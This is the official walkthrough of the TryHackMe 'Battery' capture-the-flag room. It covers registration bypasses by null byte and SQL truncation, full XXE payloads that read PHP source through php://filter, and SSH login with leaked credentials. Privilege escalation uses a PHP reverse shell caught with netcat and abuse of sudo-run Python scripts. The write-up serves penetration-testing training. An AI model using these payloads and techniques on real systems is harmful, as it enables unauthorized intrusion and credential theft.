TryHackMe : Battery Official Writeup

This is the official writeup for TryHackMe challenge battery. I am going to show all the ways you can get the initial shell as well as the root.

TryHackMe : Battery Official Writeup

Challenge Link: https://tryhackme.com/room/battery

IP of target :- 10.10.104.129

Initial Enumeration

In the first step we are going to scan the network to find all the open ports and running services on the target server.

┌──(artof㉿parrot)-[~/Desktop/CTF/battery]
└─$ rustscan 10.10.104.129 --range 0-65535 --ulimit 5000 -- -sC -sV -Pn -o nmap.txt
.
.
.
**22/tcp open  ssh     syn-ack OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)**
| ssh-hostkey: 
|   1024 14:6b:67:4c:1e:89:eb:cd:47:a2:40:6f:5f:5c:8c:c2 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAPe2PVDHBBlUCEtHNVxjToY/muZpZ4hrISDM7fuGOkh/Lp9gAwpEh24Y/u197WBDTihDJsDZJqrJEJSWbpiZgReyh1LtJTt3ag8GrUUDJCNx6lLUIWR5iukdpF7A2EvV4gFn7PqbmJmeeQRtB+vZJSp6VcjEG0wYOcRw2Z6N6ho3AAAAFQCg45+RiUGvOP0QLD6PPtrMfuzdQQAAAIEAxCPXZB4BiX72mJkKcVJPkqBkL3t+KkkbDCtICWi3d88rOqPAD3yRTKEsASHqSYfs6PrKBd50tVYgeL+ss9bP8liojOI7nP0WQzY2Zz+lfPa+d0uzGPcUk0Wg3EyLLrZXipUg0zhPjcXtxW9+/H1YlnIFoz8i/WWJCVaUTIR3JOoAAACBAMJ7OenvwoThUw9ynqpSoTPKYzYlM6OozdgU9d7R4XXgFXXLXrlL0Fb+w7TT4PwCQO1xJcWp5xJHi9QmXnkTvi386RQJRJyI9l5kM3E2TRWCpMMQVHya5L6PfWKf08RYGp0r3QkQKsG1WlvMxzLCRsnaVBqCLasgcabxY7w6e2EM
|   2048 66:42:f7:91:e4:7b:c6:7e:47:17:c6:27:a7:bc:6e:73 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkDLTds2sLmn9AZ0KAl70Fu5gfx5T6MDJehrsCzWR3nIVczHLHFVP+jXDzCcB075jjXbb+6IYFOdJiqgnv6SFxk85kttdvGs/dnmJ9/btJMgqJI0agbWvMYlXrOSN26Db3ziUGrddEjTT74Z1kokg8d7uzutsfZjxxCn0q75NDfDpNNMLlstOEfMX/HtOUaLQ47IeuSpaQoUkNkHF2SGoTTpbC+avzcCNHRIZEwQ6HdA3vz1OY6TnpAk8Gu6st9XoDGblGt7xv1vyt0qUdIYaKib8ZJQyj1vb+SJx6dCljix4yDX+hbtyKn08/tRfNeRhVSIIymOTxSGzBru2mUiO5
|   256 a8:6a:92:ca:12:af:85:42:e4:9c:2b:0e:b5:fb:a8:8b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCYHRWUDqeSQgon8sLFyvLMQygCx01yXZR6kxiT/DnZU+3x6QmTUir0HaiwM/n3aAV7eGigds0GPBEVpmnw6iu4=
|   256 62:e4:a3:f6:c6:19:ad:30:0a:30:a1:eb:4a:d3:12:d3 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILW7vyhbG1WLLhSEDM0dPxFisUrf7jXiYWNSTqw6Exri
**80/tcp open  http    syn-ack Apache httpd 2.4.7 ((Ubuntu))**

Two ports are open but nothing special about their version, So let's start enumerating the web server on port 80.

This is what we have on port 80, it's time for directory brute force.

wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 http://10.10.104.129/FUZZ
.
.
.
===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                              
===================================================================

000000260:   301        9 L      28 W     315 Ch      "scripts"                                                                            
000000366:   200        20 L     164 W    16895 Ch    "report"

We checked the scripts directory but it was not useful, next when I visited http://10.10.104.129/report then report file was downloaded, we will check the report file later, next I thought to run wfuzz again using some common extensions and this time I found some interesting files.

wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -z list,php-txt-html --hc 404 http://10.10.104.129/FUZZ.FUZ2Z
.
.
.
===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                              
===================================================================

000000003:   200        24 L     57 W     406 Ch      "index - html"                                                                       
000000151:   200        27 L     61 W     715 Ch      "register - php"                                                                     
000000733:   200        25 L     56 W     663 Ch      "admin - php"                                                                        
000001039:   200        111 L    193 W    2334 Ch     "forms - php"                                                                        
000003631:   302        0 L      0 W      0 Ch        "logout - php"                                                                       
000008737:   302        55 L     86 W     908 Ch      "dashboard - php"                                                                    
000023212:   200        65 L     110 W    1104 Ch     "acc - php"                                                                          
000034201:   302        70 L     119 W    1259 Ch     "with - php"                                                                         
000067477:   302        72 L     129 W    1399 Ch     "tra - php"        

So I started to visit all of the pages one by one and using the registration page, I created a new account, So let's login using those creds.

There are many options we can try but when we tried to visit command page we got a message as pop-up box "Only Admins can access this page!" and logged me out of the web application , so let's try to register admin:admin, but again alert generated "Nope you are wasting your time ;)" , umm very strange, okay if we remember we have downloaded a file named report. Let's check that file.

┌──(artof㉿parrot)-[~/Desktop/CTF/battery]
└─$ file report                                                                                                                                   1 ⚙
report: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=44ffe4e81d688f7b7fe59bdf74b03f828a4ef3fe, for GNU/Linux 3.2.0, not stripped

It is an elf executable file, we can run the file but to access it we need a username and password, I tried some common passwords but they didn't work!

┌──(artof㉿parrot)-[~/Desktop/CTF/battery]
└─$ ./report                                                                                                                                      1 ⚙




Welcome To ABC DEF Bank Managemet System!


UserName : admin


Password : password
Wrong username or password 

Now to find the password, what we can do is Reverse Engineering, we opened this file in Ghidra and now we have the code .

undefined8 main(void)

{
  int iVar1;
  int local_8c;
  char local_88 [32];
  char local_68 [32];
  undefined local_48 [32];
  undefined local_28 [32];
  
  local_8c = 0;
  puts("\n\n\n");
  puts("Welcome To ABC DEF Bank Managemet System!\n\n");
  printf("UserName : ");
  __isoc99_scanf(&DAT_001021f0,local_68);
  puts("\n");
  printf("Password : ");
  __isoc99_scanf(&DAT_001021f0,local_88);
  iVar1 = strcmp(local_68,"<redacted>");
  if ((iVar1 == 0) && (iVar1 = strcmp(local_88,"<redacted>"), iVar1 == 0)) {
  .
  .
  .

Now if we explore more functions in Ghidra, we can see we have a user function that lists all the active users.

Now things are getting more clear because now we know who is the admin here , let's try to register using that email , but we got same alert again "Nope you are wasting your time ;)"

Registering as User Admin

Method -1

Now we are going to see the first method that we can use to get registered as an admin user, we tried different methods but using "null character" we bypassed the check placed on the registration page, we will use burp suite to capture and modify the request and then we will forward it.

NOTE : there are many emails so you need to try each of them to find out which one gives the admin access.

I captured the request and modified it by adding the null character.

After forwarding the request we can see the response, which means we are registered successfully, now lets login into the web application.

We are in as admin and also we can access the command page that we can't access as a normal user.

Method - 2

Now we are going to see another method to get registered as admin user, now we thought to check the source code of both login and registration page, we found something unusual in both the source code.

Login Page
Registration Page

In both the cases we have something called maxlength, so we thought that this can be SQL truncation attack, In this attack what we can do is we will try to create a new account by adding extra characters more than the specified in maxlength.

Now what will happen at the backend is, code will receive the complete username including extra characters we added, and it will check if any user with this email already exists or not in the database, so in case of <admin-email-redacted>  a code will find that no this user doesn't exist in the database.

So let's proceed to next step , so now as the developer has defined the size of the field in the database is 12 means rest of the characters that is "a" will be removed and in this way we can register the admin account with our own password.

Using inspect element we have changed the maxlength to "14" and in the registration page we have also added two extra characters.

Now using our own password for the admin account we can login and again we can access the command webpage.

User Shell

Now comes the exploitation part, we tried many things with command webpage but nothing worked, next we thought to capture the request using burp suite so that we can analyze the request packet more carefully!

This is XML, right ? yes so this can be vulnerable to XXE attack. First of all we tried to achieve RCE but failed to do so, next thing is we can read the server's internal files, maybe that can help.

We tried to read different files for these two users, like id_rsa but we got nothing, now we can try to read the web server files, like admin.php, registration.php and many more, but this time payload didn't worked, so we thought to change it and use php wrappers.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY>
<!ENTITY sp SYSTEM 
"php://filter/convert.base64-encode/resource=/var/www/html/admin.php">
]>
<root><name>
&sp;
</name><search>
&sp;
</search></root>

This payload worked successfully and we have a complete code of file admin.php. Decoding and reading the code doesn't give much information so we thought to read more files and eventually we found something very useful in acc.php.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY>
<!ENTITY sp SYSTEM 
"php://filter/convert.base64-encode/resource=/var/www/html/acc.php">
]>
<root><name>
&sp;
</name><search>
&sp;
</search></root>

Actual code of file acc.php :

.
.
.
echo "<h3 style='text-align:center;'>Weclome to Account control panel</h3>";
echo "<form method='POST'>";
echo "<input type='text' placeholder='Account number' name='acno'>";
echo "<br><br><br>";
echo "<input type='text' placeholder='Message' name='msg'>";
echo "<input type='submit' value='Send' name='btn'>";
echo "</form>";
//MY CREDS :- cyber:<redacted>
if(isset($_POST['btn']))
{
$ms=$_POST['msg'];
echo "ms:".$ms;
.
.
.

Now we have ssh creds of user cyber.

┌──(artof㉿parrot)-[~/Desktop/CTF/battery]
└─$ ssh cyber@10.10.104.129                                                                                                                       1 ⚙
The authenticity of host '10.10.104.129 (10.10.104.129)' can't be established.
ECDSA key fingerprint is SHA256:c9sY2KXgaZcdbNs+CMqIPIpXQfItrLowDESwfb831Wg.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.104.129' (ECDSA) to the list of known hosts.
cyber@10.10.104.129's password:redacted
.
.
.
cyber@ubuntu:~$ id
uid=1000(cyber) gid=1000(cyber) groups=1000(cyber),

Privilege Escalation

Its time to get root means privilege escalation, while checking the user cyber's privileges we found something interesting:

cyber@ubuntu:~$ sudo -l
Matching Defaults entries for cyber on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User cyber may run the following commands on ubuntu:
    (root) NOPASSWD: /usr/bin/python3 /home/cyber/run.py
cyber@ubuntu:~$

Method - 1

What we can do is rename the run.py and create a new file as run.py with reverse shell in it and then we can catch the root shell.

Method - 2

We logged in as cyber with another session, now we have two sessions, in the second session we are going to run pspy64 and in the first session we will run the run.py to check what it's actually doing.

The script run.py is actually restarting the apache web server, umm what we can do with this ?

After more enumeration we found that /var/www/html/ is writable and also the /etc/apache2/apache2.conf is writable.

cyber@ubuntu:~$ ls -l /var/www/
total 4
drwxrwxrwx 3 root root 4096 Nov 17 17:05 html
cyber@ubuntu:~$ ls -l /etc/apache2/
total 80
-rwxrwxrwx 1 root root  7094 Nov 17 17:09 apache2.conf
drwxr-xr-x 2 root root  4096 Nov  9 22:18 conf-available
drwxr-xr-x 2 root root  4096 Nov  9 22:18 conf-enabled
-rw-r--r-- 1 root root  1782 Nov 26  2018 envvars
-rw-r--r-- 1 root root 31063 Nov 26  2018 magic

If we look closely at the apache2.conf file then there two things we can change.

# These need to be set in /etc/apache2/envvars
User www-data
Group www-data

We change the user and group to yash and run that run.py script as root so that server can be restarted and will load the new configuration, which means now the root user of the server is yash instead of www-data.

Since the /var/www/html/ directory is writable, so we can upload a php reverse shell and can access the user yash's shell.

cyber@ubuntu:/var/www/html$ cat > shell.php
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
.
.
.
.
.

Executing the shell.php:

Catching the reverse shell:

┌──(artof㉿parrot)-[~/Desktop/CTF/battery]
└─$ rlwrap nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.8.21.100] from (UNKNOWN) [10.10.104.129] 45848
Linux ubuntu 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
 14:44:41 up  3:29,  2 users,  load average: 0.06, 0.03, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
cyber    pts/0    ip-10-8-21-100.e 14:26    1:05   0.11s  0.11s -bash
cyber    pts/2    ip-10-8-21-100.e 14:32    9:53   6.11s  6.07s ./pspy64
uid=1002(yash) gid=1002(yash) groups=1002(yash)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1002(yash) gid=1002(yash) groups=1002(yash)

Root Shell

While enumerating we found several files in the home directory of user yash.

yash@ubuntu:/home/yash$ ls
ls
emergency.py  fernet  flag2.txt  root.txt
yash@ubuntu:/home/yash$ cat root.txt
cat root.txt
Note from root :-
	Hey Yash, 
			I Hope you are doing good , I just wanted to let you know that I am going on leave for 2 days ,
			till then I have setup the permission to run some commands as user root , But Sorry , I forgot 
			your password , try to find it!!

										-ENCRYPTI0N_15_U53D

This specifies some method of encryption is used, let's read the file with name fernet.

yash@ubuntu:/home/yash$ cat fernet
cat fernet
encrypted_text:gAAAAABfs33Qms9CotZIEBMg76eOlwOiKU8LD_mX2F346WXXBVIlXWvWGfreAX4kU5hjGXf0Piwt<readacted......>

key:7OEIooZqOpT7vOh9ax8arbBeB8e243<redacted.....>

This looks like fernet encryption, we cracked it easily using an online website and found the password of user yash.

yash@ubuntu:/home/yash$ sudo -l
sudo -l
[sudo] password for yash: redacted

Matching Defaults entries for yash on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User yash may run the following commands on ubuntu:
    (root) PASSWD: /usr/bin/python3 /home/yash/emergency.py
    ```

Okay so let's run this script as root!

sudo -u root /usr/bin/python3 /home/yash/emergency.py
sudo -u root /usr/bin/python3 /home/yash/emergency.py
01110010 01100101 01100001 01100100 01101001 01101110 01100111 00100000 00101111 01101111 01110000 01110100 00101111 01100010 01101001 01101110 01110011 01101001 01100100 01100101

Umm the output is binary language, after converting into text we got a message that the program is actually trying to read a file and by changing the directory to that location we found one more file that is writable. Now here comes one more method, either you can rename the emergency.py file and create a new malacious emergency.py .............. or try the other way.

The Other Way :

Output of emergency.py and name of the file it is trying to read (/opt/redacted) which suggest that we need to edit that file (/opt/redacted) with binary data , so what we did is , we convert the text "id" command into binary data and pasted in /opt/redacted file, now when we run the emergency.py as user root then this is the output:

yash@ubuntu:~$ cat /opt/redacted 
01101001 0****
yash@ubuntu:~$ sudo -u root /usr/bin/python3 /home/yash/emergency.py
[sudo] password for yash: 
01110010 01100101 01100001 01100100 01101001 01101110 01100111 00100000 00101111 01101111 01110000 01110100 00101111 01100010 01101001 01101110 01110011 01101001 01100100 01100101 00100000 01100110 01101001 01101100 01100101
checking if you are a human...................Test Failed [✘]

uid=0(root) gid=0(root) groups=0(root)
.
.
.

So what if we change the /opt/redacted file text from id to /bin/bash? Let's try:

yash@ubuntu:~$ cat /opt/binside 
00101111 01100010 01101001 01101110 00101111 ***************

Running the emergency.py as root:

sudo -u root /usr/bin/python3 /home/yash/emergency.py
01110010 01100101 01100001 01100100 01101001 01101110 01100111 00100000 00101111 01101111 01110000 01110100 00101111 01100010 01101001 01101110 01110011 01101001 01100100 01100101 00100000 01100110 01101001 01101100 01100101
checking if you are a human...................Test Failed [✘]

root@ubuntu:~# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:~# 

Hurray we are now root and we can read the root flag!

NOTE : This room has no bugs , whatever permission you see is intentional, You should have thought what can be done with the apache2 server to get access to user yash and then root just for learning purposes otherwise you can get the flags very easily :)

NOTE: The awesome artwork used in this article was created by chubasan.